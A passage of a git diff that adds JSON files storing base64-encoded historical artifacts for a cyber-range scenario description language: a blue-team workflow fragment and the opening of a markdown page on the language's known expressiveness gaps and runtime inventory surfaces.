XRoIHRlbGVtZXRyeSB2YWxpZGF0aW9uIGJlZm9yZSBkZWNsYXJpbmcgZmluaXNoLgoKICAgICAgJwogICAgc3RhcnQ6IG1haW50YWluLWludGVncml0eQogICAgc3RlcHM6CiAgICAgIG1haW50YWluLWludGVncml0eToKICAgICAgICB0eXBlOiBvYmplY3RpdmUKICAgICAgICBvYmplY3RpdmU6IGJsdWUtbWFpbnRhaW4tY3VzdG9tcy1pbnRlZ3JpdHkKICAgICAgICBvbl9zdWNjZXNzOiBhc3Nlc3MteWFyZAogICAgICBhc3Nlc3MteWFyZDoKICAgICAgICB0eXBlOiBkZWNpc2lvbgogICAgICAgIHdoZW46CiAgICAgICAgICBhc3NlcnRpb25zOgogICAgICAgICAgLSBwcmUtdGFtcGVyZWQtbWFuaWZlc3Qtb2JzZXJ2ZWQKICAgICAgICB0aGVuOiBmYW5vdXQtYmxhY2tzdGFydAogICAgICAgIGVsc2U6IGZpbmlzaAogICAgICBmYW5vdXQtYmxhY2tzdGFydDoKICAgICAgICB0eXBlOiBwYXJhbGxlbAogICAgICAgIGJyYW5jaGVzOgogICAgICAgIC0gcmVzdG9yZS15YXJkCiAgICAgICAgLSB2YWxpZGF0ZS10ZWxlbWV0cnkKICAgICAgICBqb2luOiBibGFja3N0YXJ0LWpvaW5lZAogICAgICByZXN0b3JlLXlhcmQ6CiAgICAgICAgdHlwZTogb2JqZWN0aXZlCiAgICAgICAgb2JqZWN0aXZlOiBibHVlLWJsYWNrc3RhcnQteWFyZAogICAgICAgIG9uX3N1Y2Nlc3M6IGJsYWNrc3RhcnQtam9pbmVkCiAgICAgIHZhbGlkYXRlLXRlbGVtZXRyeToKICAgICAgICB0eXBlOiBvYmplY3RpdmUKICAgICAgICBvYmplY3RpdmU6IGJsdWUtdmFsaWRhdGUteWFyZC10ZWxlbWV0cnkKICAgICAgICBvbl9zdWNjZXNzOiBibGFja3N0YXJ0LWpvaW5lZAogICAgICBibGFja3N0YXJ0LWpvaW5lZDoKICAgICAgICB0eXBlOiBqb2luCiAgICAgICAgbmV4dDogZmluaXNoCiAgICAgIGZpbmlzaDoKICAgICAgICB0eXBlOiBlbmQK", + "recovered_from_revision": "f92f3a297408f54a409e0220136a2d1790786c23" +} diff --git a/docs/research/specification-coverage/historical-artifacts/489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4.json b/docs/research/specification-coverage/historical-artifacts/489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4.json new file mode 100644 index 000000000..bf43f6df3 --- /dev/null +++ b/docs/research/specification-coverage/historical-artifacts/489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4.json @@ -0,0 +1,5 @@ +{ + "artifact_path": "docs/explain/sdl/limitations.md", + "content_base64": "IyBTREwgTGltaXRhdGlvbnMKCiMjIEtub3duIEV4cHJlc3NpdmVuZXNzIEdhcHMKClRoZXNlIGFyZSBrbm93biBjdXJyZW50IGdhcHMgaWRlbnRpZmllZCB0aHJvdWdoIHJlcG9zaXRvcnkgdGVzdHMsIGV4YW1wbGVzLAphbmQgc3RyZXNzIHRlc3RpbmcgYWdhaW5zdCAxOSBzY2VuYXJpb3MgZnJvbSA4IHBsYXRmb3Jtcy4gVGhlIGxpc3QgaXMgZXZpZGVuY2UKZnJvbSB0aGUgY3VycmVudCBjb3JwdXMsIG5vdCBhIGNvbXBsZXRlbmVzcyBwcm9vZi4KCiMjIyBEZXBsb3ltZW50IEF1dGhvcmluZyBCb3VuZGFyaWVzIChieSBkZXNpZ24pCgpUaGUgU0RMIGRpc3Rpbmd1aXNoZXMgYXV0aG9yZWQgZGVwbG95bWVudCBpbnRlbnQgZnJvbSBvYnNlcnZlZCBydW50aW1lIGZhY3RzCnVzaW5nIHRoZSBzZW1hbnRpYyBib3VuZGFyeSBpbgpbQURSLTAzM10oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTAzMy1zY2VuYXJpby1kZWxpdmVyeS1ib3VuZGFyeS1mb3ItcnVudGltZS1ub2RlLXN0YXRlLm1kKS4KQmFja2VuZHMgb3duIGRlcGxveW1lbnQtc3BlY2lmaWMgbWVjaGFuaWNzIHN1Y2ggYXMgRG9ja2VyIENvbXBvc2UgcHJvZmlsZXMsCmRlY2lzaW9ucyB0byBwdWJsaXNoIGhvc3QgcG9ydHMsIGltYWdlIGJ1aWxkIGV4ZWN1dGlvbiwgYW5kIGVuZ2luZSByZWFsaXphdGlvbi4KVGhlIG5vZGUgYHJ1bnRpbWVgIHN1cmZhY2UgY2FuIHJlY29yZCBvYnNlcnZlZCBydW50aW1lIGZhY3RzIGZvciBhbmFseXNpcyBhbmQKcGFyaXR5LCBpbmNsdWRpbmcgbW91bnRzLCBMaW51eCBjYXBhYmlsaXRpZXMsIG5hbWVzcGFjZSBtb2RlcywgZW50cnlwb2ludHMsCmltYWdlIGNvbW1hbmRzLCBleHRyYSBob3N0cywgRE5TIG9wdGlvbnMsIHNlY3VyaXR5IGZsYWdzLCByZXNvdXJjZSBsaW1pdHMsCmhlYWx0aCBzdGF0dXMvbG9ncywgZmlsZXN5c3RlbSBpbnZlbnRvcnksIHRoZSBsb2NhbCBpZGVudGl0eQpkYXRhYmFzZSAoYC9ldGMvcGFzc3dkYCB1c2VycywgYC9ldGMvZ3JvdXBgIGdyb3VwcywgYW5kIHN1ZG8vc3Vkb2VycyBncmFudHMpLApzb2Z0d2FyZSBjb21wb25lbnQgaWRlbnRpdHkgYmVsb3cgcGFja2FnZS1tYW5hZ2VyIHJvdyBncmFudWxhcml0eQooW0FEUi0wMzRdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wMzQtcnVudGltZS1zb2Z0d2FyZS1jb21wb25lbnQtaW52ZW50b3J5Lm1kKSksCmNvbnRhaW5lciBuZXR3b3JrIHJlYWxpemF0aW9uIChwZXItbmV0d29yayBhbGlhc2VzIGFuZCBETlMgbmFtZXMsCmhvc3RuYW1lL2RvbWFpbiBpZGVudGl0eSwgZW5kcG9pbnQgTUFDL0lQL3ByZWZpeC9nYXRld2F5LCBiYWNrZW5kIG5ldHdvcmsgYW5kCmVuZHBvaW50IGlkZW50aWZpZXJzIHdpdGggc3RhYmlsaXR5IGNsYXNzaWZpY2F0aW9uLCBob3N0LXB1Ymxpc2hlZCBwb3J0CmJpbmRpbmdzLCBhbmQgb2JzZXJ2YWJsZSBiYWNrZW5kIGRyaXZlci9JUEFNIGRldGFpbCDigJQKW0FEUi0wMjVdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wMjUtY29udGFpbmVyLW5ldHdvcmstcmVhbGl6YXRpb24tc3VyZmFjZS5tZCkpLAphbmQgdGhlIGFwcGxpY2F0aW9uIEhUVFAgcm91dGUvQVBJL1VJIHN1cmZhY2UgKHJvdXRlIHBhdGhzIGFuZCBtZXRob2RzLCBvd25pbmcKc2VydmljZSwgYXV0aC9zZXNzaW9uIHJlcXVpcmVtZW50cywgdHlwZWQgcmVxdWVzdCBpbnB1dHMsIHJlc3BvbnNlcywKdGVtcGxhdGUvc3RhdGljIGFzc29jaWF0aW9ucywgcm91dGUtc3BlY2lmaWMgdnVsbmVyYWJpbGl0eSBwbGFjZW1lbnQsIGV4cG9zZWQKZml4dHVyZSBzZWNyZXRzIG9yIGRpYWdub3N0aWMgZGlzY2xvc3VyZXMsIGFuZCByZWRpcmVjdC9lcnJvciBiZWhhdmlvciDigJQKW0FEUi0wMjZdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wMjYtYXBwbGljYXRpb24taHR0cC1zdXJmYWNlLWludmVudG9yeS5tZCkpLApkYXRhYmFzZSBsb2dpY2FsIHN0YXRlIChkYXRhYmFzZXMsIHNjaGVtYXMsIHRhYmxlcywgZGF0YWJhc2UtbG9jYWwgcm9sZXMsCmdyYW50cywgbGlzdGVuZXJzLCBzZXR0aW5ncywgYW5kIGRhdGFiYXNlLWFjY2VzcyBiaW5kaW5ncyAtCltBRFItMDI5XSguLi8uLi9kZWNpc2lvbnMvYWRycy9hZHItMDI5LWRhdGFiYXNlLWxvZ2ljYWwtc3RhdGUtcnVudGltZS1zdXJmYWNlLm1kKSksCkROUyBzZXJ2aWNlIGxvZ2ljYWwgc3RhdGUgKGF1dGhvcml0YXRpdmUgem9uZXMsIFJSc2V0cywgdHlwZWQgY29tbW9uIFJEQVRBLApyZXNvbHZlciBwb2xpY3ksIGZvcndhcmRlcnMsIEROU1NFQyBwb3N0dXJlLCBkeW5hbWljLXVwZGF0ZSBwb3N0dXJlLCBsb2dnaW5nCnBvc3R1cmUsIHNldHRpbmdzLCBhbmQgZXZpZGVuY2UgcmVmcyAtCltBRFItMDM5XSguLi8uLi9kZWNpc2lvbnMvYWRycy9hZHItMDM5LWRucy1zZXJ2aWNlLXJ1bnRpbWUtaW52ZW50b3J5Lm1kKSksCm5ldHdvcmstc2Vuc29yIG1vbml0b3JpbmcgcG9zdHVyZSAocGFzc2l2ZSBvciBpbmxpbmUgTlNNL0lEUyBzZW5zb3IgaWRlbnRpdHksCmNhcHR1cmUgbW9kZS9pbnRlcmZhY2VzLCBtb25pdG9yZWQgbmV0d29yayByZWZzLCBhbmQgZXZpZGVuY2UgcmVmcyAtCltBRFItMDQyXSguLi8uLi9kZWNpc2lvbnMvYWRycy9hZHItMDQyLW5ldHdvcmstc2Vuc29yLXJ1bnRpbWUtbW9uaXRvcmluZy5tZCkpLApuZXR3b3JrIGRldGVjdGlvbi1lbmdpbmUgcnVudGltZSBpbnZlbnRvcnkgKGFwcC1sYXllciBwYXJzZXJzLCBydWxlIHNvdXJjZXMsCm5ldHdvcmsgem9uaW5nL2FkZHJlc3Mtc2V0IHZhcmlhYmxlcywgb3V0cHV0IHN0cmVhbXMsIGNvbnRyb2wgY2hhbm5lbHMsIGFuZApldmlkZW5jZSByZWZzIC0KW0FEUi0wNDRdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wNDQtbmV0d29yay1kZXRlY3Rpb24tZW5naW5lLXJ1bnRpbWUtaW52ZW50b3J5Lm1kKSksCmFwcGxpY2F0aW9uLWludGVybmFsIFJCQUMgc3RvcmVzIChwcmluY2lwYWxzIHdpdGggY3JlZGVudGlhbCBjbGFzc2lmaWNhdGlvbiwKcm9sZXMsIHJlc291cmNlLXNjb3BlZCBwZXJtaXNzaW9uIGdyYW50cywgcm9sZSBtYXBwaW5ncywgYW5kIHRlbmFudHMgLQpbQURSLTA0Nl0oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTA0Ni1hcHAtYXV0aG9yaXphdGlvbi1ydW50aW1lLWludmVudG9yeS5tZCkpLApyZWN1cnJpbmcgc2NoZWR1bGVkLWpvYiBjYWRlbmNlIGFuZCBydW4tc3RhdGUgKGNsb3NlZCBpbnRlcnZhbC9jcm9uL2NhbGVuZGFyCnJlY3VycmVuY2UgcGx1cyBvYnNlcnZlZCBsYXN0L25leHQgcnVuIGFuZCBsYXN0IHJlc3VsdCwgY2FkZW5jZS1vbmx5IC0KW0FEUi0wNDddKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wNDctc2NoZWR1bGVkLWpvYi1ydW50aW1lLWludmVudG9yeS5tZCkpLApub24tcmVsYXRpb25hbCBkYXRhc3RvcmUgbG9naWNhbCBzdGF0ZSAoc2VhcmNoL3dpZGUtY29sdW1uL2tleS12YWx1ZSBjbHVzdGVycywKc3RydWN0dXJlZCBpbmRleCBtYXBwaW5nL3RlbXBsYXRlIG1hbmlmZXN0cywgcGFydGl0aW9ucyB3aXRoIHNoYXJkL3JlcGxpY2Egb3IKcmVwbGljYXRpb24gZ2VvbWV0cnksIGtleS12YWx1ZSBwZXJzaXN0ZW5jZSBwb3N0dXJlLCB0cmFuc3BvcnQgc2VjdXJpdHksIGFuZApzZXR0aW5ncywgcGx1cyBwZXItbm9kZSBlbmdpbmUgcHJvdmVuYW5jZSDigJQgdmVyc2lvbi8KYnVpbGQgaGFzaC9idWlsZCB0eXBlLCBoZWFwIGJ5dGUgYm91bmRzLCBtbG9ja2FsbCwgYSB0eXBlZCBwZXItcGx1Z2luLXZlcnNpb25lZApwbHVnaW4gaW52ZW50b3J5LCBhbmQgYSBwcm9kdWN0LW5ldXRyYWwgY2xpZW50L3BlZXIgZW5kcG9pbnQgaW52ZW50b3J5IChwdWJsaXNoZWQKdG9wb2xvZ3ksIG5vdCBPUy1iaW5kIG9yIGhvc3QtcHVibGljYXRpb24gcHJvb2YpIC0gd2l0aCBwYXJ0aWFsIGRlc2NyaXB0aW9ucywKc3VwcGxpZWQtc3RhdGUgaW50ZWdyaXR5IGFuZCBpbnRlcm5hbCBSQkFDIGRlbGVnYXRlZCB2aWEgYGF1dGhvcml6YXRpb25fcmVmYCAtCltBRFItMDQ4XSguLi8uLi9kZWNpc2lvbnMvYWRycy9hZHItMDQ4LWRhdGFzdG9yZS1zZXJ2aWNlLXJ1bnRpbWUtaW52ZW50b3J5Lm1kKSwKW0FEUi0wNThdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wNTgtZGF0YXN0b3JlLW5vZGUtZW5naW5lLXByb3ZlbmFuY2UtYW5kLWVuZHBvaW50cy5tZCkpLApzZWN1cml0eS1wbGF0Zm9ybSBhcHBsaWNhdGlvbiBydW50aW1lIGludmVudG9yeSAoY29tcG9zYWJsZSBwcm92aWRlci1uZXV0cmFsCmNhcGFiaWxpdGllcywgcHJvZHVjdCBtZXRhZGF0YSwgbWFya2luZ3MsIHVwc3RyZWFtIGJpbmRpbmdzLCBjb25uZWN0b3JzLCBhbmQKc2V0dGluZ3M7IGxlZ2FjeSBwcm9kdWN0IGNhdGVnb3JpZXMgYW5kIGJvdW5kZWQgY29udGVudC1vYmplY3QgbWFuaWZlc3RzIHJlbWFpbgphY2NlcHRlZCBidXQgZGVwcmVjYXRlZCBhbmQgZG8gbm90IGltcGx5IGNvbXBsZXRlbmVzcyAtCltBRFItMDQ5XSguLi8uLi9kZWNpc2lvbnMvYWRycy9hZHItMDQ5LXBsYXRmb3JtLWFwcGxpY2F0aW9uLXJ1bnRpbWUtaW52ZW50b3J5Lm1kKSksCmZvcndhcmRpbmcgLyBpbnRlbC1zeW5jIGFnZW50IHJ1bnRpbWUgaW52ZW50b3J5IChzb3VyY2VzLCB0cmFuc2Zvcm1zLCBzaGlwCnRhcmdldHMsIGJ1ZmZlciBwb2xpY3ksIHJlbG9hZCBjaGFubmVscywgYW5kIHNldHRpbmdzIGZvciBsb2cgZm9yd2FyZGVycyBhbmQKaW50ZWwtc3luYyBjby1wcm9jZXNzZXMsIHdpdGggb3B0aW9uYWwgY29tcG9zZWQgcGlwZWxpbmVzIGFuZApzaGlwLXRhcmdldCBub2RlL3NlcnZpY2UgcmVmcyB0aGF0IHJlc29sdmUgYXQgc2NlbmFyaW8gc2NvcGUgLQpbQURSLTA1MF0oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTA1MC1mb3J3YXJkaW5nLWFnZW50LXJ1bnRpbWUtaW52ZW50b3J5Lm1kKSksCmNvbnRhaW5lci1zcGF3biBvcmNoZXN0cmF0aW9uLWF1dGhvcml0eSBydW50aW1lIGludmVudG9yeSAoZW5naW5lLCBzY29wZSwgc3Bhd24KdGVtcGxhdGVzLCBsaWZlY3ljbGUgcG9saWN5LCByZWFsaXplZCBjaGlsZHJlbiwgYW5kIGEgcHJpdmlsZWdlIGNsYXNzIHRoYXQKbWF5IHJlZmVyZW5jZSBhIHNhbWUtbm9kZSBjb250cm9sLWludGVyZmFjZSBzaGVsbDsgc2VsZWN0ZWQgb3BlcmF0aW9ucyByZXF1aXJlCmluZGVwZW5kZW50IHN1cHBvcnQsIHByZXJlcXVpc2l0ZXMgYW5kIGF1dGhvcml6YXRpb24gLQpbQURSLTA1MV0oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTA1MS1vcmNoZXN0cmF0aW9uLWF1dGhvcml0eS1ydW50aW1lLWludmVudG9yeS5tZCkpLApTSUVNL3NlY3VyaXR5LW1vbml0b3JpbmcgbWFuYWdlciBydW50aW1lIGludmVudG9yeSAobWFuYWdlciBpZGVudGl0eSwgbGlzdGVuZXJzLApjb21wb25lbnRzLCBlbnJvbGxlZCBhZ2VudHMsIGFnZW50IGdyb3VwcywgZGV0ZWN0aW9uLWNvbnRlbnQgc2V0cywgcGFyc2VkCmRldGVjdGlvbiBkZWZpbml0aW9ucywgYW5kIHNldHRpbmdzIC0KW0FEUi0wNDBdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wNDAtc2VjdXJpdHktbW9uaXRvcmluZy1tYW5hZ2VyLXJ1bnRpbWUtaW52ZW50b3J5Lm1kKSwKW0FEUi0wNDVdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wNDUtc2VjdXJpdHktbW9uaXRvcmluZy1kZXRlY3Rpb24tZGVmaW5pdGlvbi1zZW1hbnRpY3MubWQpKSwKbWFpbC1zZXJ2aWNlIGxvZ2ljYWwgc3RhdGUgKGxpc3RlbmVycywgZG9tYWlucywgbWFpbGJveCBzdG9yZXMsIG1haWxib3hlcywKYWxpYXNlcywgcm91dGluZyBydWxlcywgcXVldWVzLCBhbmQgc2V0dGluZ3MgLQpbQURSLTAzOF0oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTAzOC1ydW50aW1lLW1haWwtc2VydmljZS1sb2dpY2FsLXN0YXRlLm1kKSksCmZpbGUtc2hhcmluZyBhbmQgcmVzb3VyY2UtYWNjZXNzIHN0YXRlIChzaGFyZXMsIHByaW5jaXBhbHMsIGFjY2VzcyBydWxlcywgYW5kCmFjY2VzcyBvYnNlcnZhdGlvbnMgLQpbQURSLTAzN10oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTAzNy1ydW50aW1lLWZpbGUtc2VydmljZS1hbmQtZmlsZXN5c3RlbS1wcmVzZW5jZS1zZW1hbnRpY3MubWQpKSwKZ2VuZXJpYyBvYnNlcnZlZCBzZXJ2aWNlIGxpc3RlbmVycyAoYmluZCBlbmRwb2ludCwgdHJhbnNwb3J0LCBhZGRyZXNzIGZhbWlseSwKc2NvcGUsIG93bmVyLCBhbmQgcmVhZGluZXNzIGV2aWRlbmNlIC0KW0FEUi0wNDNdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wNDMtcnVudGltZS1zZXJ2aWNlLWxpc3RlbmVyLXN1cmZhY2UubWQpKSwKYW5kIGRpcmVjdG9yeS9kb21haW4vcmVhbG0vSWRQL0lBTS9mZWRlcmF0aW9uIGlkZW50aXR5LWF1dGhvcml0eSBzdGF0ZQooYXV0aG9yaXR5IG5hbWVzcGFjZXMsIHNlcnZpY2VzLCBzdWJqZWN0cywgcG9saWNpZXMsIGFuZCB0eXBlZCByZWxhdGlvbnNoaXBzIC0KW0FEUi0wMzJdKC4uLy4uL2RlY2lzaW9ucy9hZHJzL2Fkci0wMzItZGlyZWN0b3J5LWRvbWFpbi1pZGVudGl0eS1ydW50aW1lLXN1cmZhY2UubWQpKS4KSW50ZXItZWxlbWVudCBhY2Nlc3MgZGV0YWlsIGlzIGNhcnJpZWQgYnkgdHlwZWQgcmVsYXRpb25zaGlwIHN1YnR5cGVzIG9uIHRoZQp0b3AtbGV2ZWwgZWRnZSAtIGRhdGFiYXNlLCBtYWlsLCBmb3J3YXJkaW5nLCBzZXJ2aWNlLWludGVncmF0aW9uLCBhbmQKcmV2ZXJzZS1wcm94eS11cHN0cmVhbSBhY2Nlc3MKKFtBRFItMDUyXSguLi8uLi9kZWNpc2lvbnMvYWRycy9hZHItMDUyLXR5cGVkLXJ1bnRpbWUtcmVsYXRpb25zaGlwLXN1YnR5cGVzLm1kKSkgLQpyYXRoZXIgdGhhbiBhcyB1bnR5cGVkIHJlbGF0aW9uc2hpcCBwcm9wZXJ0aWVzLgpEZWxpYmVyYXRlIG5vbi1nYXBzIGFyZSByZWNvcmRlZCBhcyBjb25maXJtYXRpb24tZm9sZHMgcmF0aGVyIHRoYW4gbmV3IHN1cmZhY2VzOgphIHN0YW5kYWxvbmUgU3VyaWNhdGEgSURTIG5vZGUgaXMgdGhlIGV4aXN0aW5nIGBuZXR3b3JrX2RldGVjdGlvbl9lbmdpbmVzYCArCmBuZXR3b3JrX3NlbnNvcnNgIHN1cmZhY2VzLCBhIHJlbGF0aW9uYWwgZGF0YWJhc2UgaXMgYGRhdGFiYXNlX3NlcnZpY2VzYCwKT1MtbG9jYWwgdXNlcnMvZ3JvdXBzL3N1ZG8gYXJlIGBydW50aW1lLmxvY2FsX2lkZW50aXR5YCwgYW5kIHRyYW5zcG9ydC9UTFMKZXhwb3N1cmUgaXMgYHNlcnZpY2VfbGlzdGVuZXJzYCArIGBhcHBsaWNhdGlvbnNgICsgYHJ1bnRpbWUubmV0d29ya2AuIFRoZQpTQ04tMDEwIGV4cHJlc3Npdml0eSBnYXAgYW5hbHlzaXMKKFtzY24wMTAtZXhwcmVzc2l2aXR5LWdhcC1hbmFseXNpc10oLi4vLi4vcmFlcy9pbnZlbnRvcnkvc2NuMDEwLWV4cHJlc3Npdml0eS1nYXAtYW5hbHlzaXMubWQpKQpyZWNvcmRzIGVhY2ggZm9sZCBmaWVsZC1mb3ItZmllbGQsIHNvIHRoZSBvYnNlcnZhYmxlLXBhcml0eSBnYXRlIGlzIHNob3duIHRvIGN1dAphZ2FpbnN0IG92ZXItYnVpbGRpbmcgYXMgd2VsbCBhcyB1bmRlci1jb3ZlcmFnZS4KQ29udGFpbmVyIGltYWdlIGJ1aWxkCnByb3ZlbmFuY2UgaXMgYSBzZXBhcmF0ZSBzb3VyY2UtYXJ0aWZhY3QgZXhwcmVzc2l2aXR5IHN1cmZhY2UgdHJhY2tlZCBieSBpc3N1ZQojMzY0IGFuZCBbQURSLTAyM10oLi4vLi4vZGVjaXNpb25zL2FkcnMvYWRyLTAyMy1jb250YWluZXItaW1hZ2UtYnVpbGQtcHJvdmVuYW5jZS1zdXJmYWNlLm1kKTsKcmVjb3JkaW5nIGVpdGhlciBzdXJmYWNlIGluIFNETCBkb2VzIG5vdCBtYWtlIERvY2tlciwgQ29tcG9zZSwgb3IgYW55IHNwZWNpZmljCmNvbnRhaW5lciBlbmdpbmUgdGhlIG5vcm1hdGl2ZSBkZXBsb3ltZW50IG1vZGVsLgoKIyMjIFNwZWNpZmljYXRpb24tTGF5ZXIgR2FwcwoKVGhlc2UgYXJlIGN1cnJlbnQgU0RMIGV4cHJlc3NpdmVuZXNzIGdhcHM6Cgp8IEdhcCB8IERlc2NyaXB0aW9uIHwgQ2FuZGlkYXRlIFByZWNlZGVudCB8CnwtLS0tLXwtLS0tLS0tLS0tLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18CnwgKipIb3N0ZWQgcmVnaXN0cnkgb3BlcmF0aW9ucyAvIGVjb3N5c3RlbSBkaXN0cmlidXRpb24qKiB8IE9DSS1iYWNrZWQgbW9kdWxlIHJlc29sdXRpb24sIGxvY2tmaWxlcywgdHJ1c3QgcG9saWN5LCBhbmQgcHVibGlzaGFibGUgaW1hZ2UtbGF5b3V0IHBhY2thZ2luZyBleGlzdCwgYnV0IHRoaXMgcmVwb3NpdG9yeSBkb2VzIG5vdCBvcGVyYXRlIGEgc2hhcmVkIHJlZ2lzdHJ5IHNlcnZpY2UsIHNpZ25lciBkaXN0cmlidXRpb24sIG9yIGVjb3N5c3RlbS13aWRlIGRpc2NvdmVyeSBwb2xpY3kgfCBUZXJyYWZvcm0gcmVnaXN0cnksIE9DSSBhcnRpZmFjdCBkZWxpdmVyeSB8CnwgKipNYW51YWwgY29tcGVuc2F0aW9uIEFQSXMgLyBhZHZhbmNlZCByb2xsYmFjayBwYXR0ZXJucyoqIHwgU0RMIHdvcmtmbG93cyBzdXBwb3J0IGV4cGxpY2l0IGF1dG9tYXRpYyBjb21wZW5zYXRpb24gdGFyZ2V0cywgcmV2ZXJzZS1jb21wbGV0aW9uIHJvbGxiYWNrIG9yZGVyaW5nLCBhbmQgY2FuY2VsL3RpbWVvdXQvZmFpbHVyZSBjb21wZW5zYXRpb24gb2JzZXJ2YXRpb24sIGJ1dCBub3QgbWFudWFsIHJvbGxiYWNrIHRyaWdnZXJzLCBuZXN0ZWQgY29tcGVuc2F0aW9uLW9mLWNvbXBlbnNhdGlvbiwgb3IgcmljaGVyIGV4Y2VwdGlvbi1zdHlsZSByZWNvdmVyeSBzdXJmYWNlcyB8IENBQ0FPIHYyLjAgd29ya2Zsb3cgdHlwZXMsIHNhZ2EgY29tcGVuc2F0aW9uIHBhdHRlcm5zIHwKfCAqKlRlbXBvcmFsIG9wZXJhdG9ycyoqIHwgU1RJWC1zdHlsZSBGT0xMT1dFREJZL1dJVEhJTiBmb3IgdGltZS1vcmRlcmVkIGV2ZW50IGFzc2VydGlvbnMgfCBTVElYIFBhdHRlcm5pbmcgTGFuZ3VhZ2UgfAp8ICoqRnVsbCB0aW1lIGFuZCBjbG9jayBtb2RlbCoqIHwgVGhlIFNETCBjdXJyZW50bHkgZXhwb3NlcyB0aW1lbGluZXMsIHRpbWVvdXRzLCBhbmQgYnVkZ2V0LWxpa2UgY29udHJvbHMsIGJ1dCBpdCBkb2VzIG5vdCBwcm92aWRlIGEgZnVsbCBhdXRob3Jpbmcgc3VyZmFjZSBmb3IgdGltZSBkb21haW5zLCBjbG9jayBhdXRob3JpdHksIHBhY2luZy9kaWxhdGlvbiBwb2xpY3ksIHN5bmNocm9uaXphdGlvbiBtb2RlLCBvciBleHBsaWNpdCBvcmRlcmluZy9kZWFkbGluZSBzZW1hbnRpY3MgYWNyb3NzIGRpZmZlcmVudCByZWFsaXphdGlvbnMgfCBUaW1lLWFuZC1zaW11bGF0aW9uIHByaW1hcnkgcmVmZXJlbmNlcyB1bmRlciBgcmVzZWFyY2gvYCwgUk9TIDIgQ2xvY2sgYW5kIFRpbWUsIEZNSSwgbnMtMyByZWFsdGltZSwgREVWUy90aW1lLW1hbmFnZW1lbnQgbGl0ZXJhdHVyZSB8CnwgKipGdWxsIHNvbHZlci1iYWNrZWQgdmVyaWZpY2F0aW9uKiogfCBHbG9iYWwgcHJvb2Ytc3R5bGUgdmVyaWZpY2F0aW9uIHRoYXQgYXR0YWNrIHBhdGhzIGFyZSByZWFjaGFibGUgYW5kIGRlZmVuc2VzIGFyZSBjb25zaXN0ZW50IGlzIG5vdCBpbXBsZW1lbnRlZDsgdGhlIHJlcG9zaXRvcnkgdXNlcyBsaWdodHdlaWdodCBzZW1hbnRpYyBtb2RlbGluZywgaW52YXJpYW50cywgdHlwZWQgY29udHJhY3RzLCBhbmQgc2VsZWN0aXZlIHByb3BlcnR5L3N0YXRlLW1hY2hpbmUgbWV0aG9kcyB8IFZTREwgU01UIHNvbHZlciwgQ1JBQ0sgRGF0YWxvZyB8CnwgKipGdWxsIHBhcnRpY2lwYW50IGJlaGF2aW9yIHN1cmZhY2UqKiB8IFRoZSBjdXJyZW50IGBhZ2VudHNgIHNlY3Rpb24gdW5kZXItZXhwcmVzc2VzIHJpY2hlciByb2xlLW5ldXRyYWwgYmVoYXZpb3IgY29uY2VybnMgc3VjaCBhcyB0b29sL2FmZm9yZGFuY2UgZGVjbGFyYXRpb25zLCBjb250cm9sLWNvbnRleHQgYXNzZXRzLCBkZWNpc2lvbi1zdXJmYWNlIGV4cG9zdXJlIHBvbGljaWVzLCBlcGlzb2RlIHN0cnVjdHVyZSwgYW5kIGJlbmNobWFyay1vcmllbnRlZCBwYXJ0aWNpcGFudCBhc3NldHMgfCBDeWJPUkcsIE9wZW5SYW5nZSwgT3BlbiBUcmFqZWN0b3J5IEd5bSB8CnwgKipNYXRlcmlhbGl6ZWQgZXZpZGVuY2UgY2FwdHVyZSBhbmQgcHJvdmVuYW5jZSoqIHwgU0RMIGhhcyBpbXBsZW1lbnRlZCBgZXZpZGVuY2VfcmVxdWlyZW1lbnRzYCBzeW50YXgsIGEgcHVibGlzaGVkIHNjaGVtYSwgZml4dHVyZXMsIGFuZCBmYWlsLWNsb3NlZCB2YWxpZGF0aW9uIGZvciBwb3J0YWJsZSBjYXB0dXJlIGludGVudC4gSXQgZG9lcyBub3QgaXRzZWxmIG1hdGVyaWFsaXplIGNhcHR1cmVzLCBwcm92ZSBjb2xsZWN0aW9uLCBjYWxjdWxhdGUgaW50ZWdyaXR5LCByZXRhaW4gYXJ0aWZhY3RzLCBvciBzdXBwbHkgY29tcGxldGUgcnVuLWxldmVsIHByb3ZlbmFuY2UgYW5kIGxvc3MgcmVwb3J0aW5nOyB0aG9zZSBhcmUgcHJvY2Vzc29yL2JhY2tlbmQgYW5kIGV4cGVyaW1lbnQtZXZpZGVuY2UgcmVzcG9uc2liaWxpdGllcyB8IE9wZW5SYW5nZSwgT0NTRi1pbmZvcm1lZCB0ZWxlbWV0cnkgbW9kZWxzIHwKfCAqKk11bHRpLXRlbmFuY3kqKiB8IE11bHRpcGxlIGluZGVwZW5kZW50IGV4ZXJjaXNlcyBzaGFyaW5nIGluZnJhc3RydWN0dXJlIHwgTG9ja2VkIFNoaWVsZHMgdGVhbS1wZXItc3VibmV0IG1vZGVsIHwKCiMjIyBFY29zeXN0ZW0tTGF5ZXIgR2FwcyAob3V0c2lkZSBwdXJlIFNETCBzeW50YXgpCgpTb21lIGN1cnJlbnQgcmVxdWlyZW1lbnQgd29yayBpcyBpbnRlbnRpb25hbGx5IGJyb2FkZXIgdGhhbiBTREwgc3ludGF4IGFsb25lLgpUaGVzZSBjb25jZXJucyBhcmUgZmlyc3QtY2xhc3MgZWNvc3lzdGVtIHJlcXVpcmVtZW50cywgYnV0IHRoZXkgYXJlCm5vdCBmdWxseSBtYXRlcmlhbGl6